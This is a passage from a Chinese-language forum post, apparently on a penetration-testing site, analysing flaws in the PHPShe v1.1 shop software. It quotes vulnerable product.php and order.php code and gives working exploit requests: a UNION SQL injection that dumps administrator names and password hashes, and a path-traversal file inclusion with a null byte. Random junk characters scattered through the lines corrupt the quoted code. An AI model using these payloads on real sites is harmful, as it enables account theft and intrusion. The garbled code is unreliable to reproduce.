3 S; M4 Q2 E8 K5 {9 y
0×02 搜索注入
9 v1 |0 s) \- Q9 _ [7 R( _
<code id="code2">
//product.php文件
case 'list':
$category_id = intval($id);2 D7 G% R- P. C6 E) s( w
$info = $db->pe_select('category', array('category_id'=>$category_id));% h( ?$ ^8 b/ B% Y# s8 s
//搜索/ K. x( z5 P; P$ g
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');9 K8 E; m! d0 A- `
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";# v/ ~1 F+ _8 Z* N! }
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤- k8 w& Z: w1 B1 y
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";. r' S, h! s$ J& M% u* T
}
else {0 j; z. f6 ^+ `8 W/ a& o0 @' X; y1 t
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));2 K; n8 S, [9 a; }7 u8 m6 A
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));7 r7 h, @( l3 M) @3 N7 u
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);5 o( ^9 ~- Y2 I& J/ S9 u
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}$ l3 \8 U! F2 _
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='14 F" f7 m# J( d8 x, H
</code>* u5 o' d9 g3 S& T( `2 K
4 ?% a5 p4 w3 |% P6 F% {7 u& y
0×03 包含漏洞2: Y# l; |3 W( m5 ]5 @! r/ b
9 A. B( E2 G; ^) a3 R2 g4 Z8 R
<code id="code3">
//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
1 G% B! M; W: o ^
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
}
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
: q: D8 c5 S9 C) [
!$order['order_id'] && pe_error('订单号错误...');
+ w7 m r; T) y& m3 o8 B
if (isset($_p_pesubmit)) {
7 l9 Q6 Y8 Y& X* V; O& E
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
0 M5 \: m6 j8 E1 T( h5 U
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
$order['order_name'] .= "{$v['product_name']};";( ?& [( N9 w# [" W" c: {
# d- P) A+ }* k# x* ]9 o, W
}
* s3 v7 n- M \, t; A& u
echo '正在为您连接支付网站,请稍后...';
% i: [6 W+ V- C) L+ } m* t/ a
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
}//当一切准备好的时候就可以进行"鸡肋包含了"
3 |; K% ~% l# ?& m, w
else {
`8 X2 k3 \' I' Z8 k
pe_error('支付错误...');
}
4 y/ e0 |, u/ W2 K8 d4 |
}
+ L$ Y' t6 M0 ]% d' g% B5 p; D
$seo = pe_seo('选择支付方式');
; P: B' q6 J" U; t+ R+ O& _
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |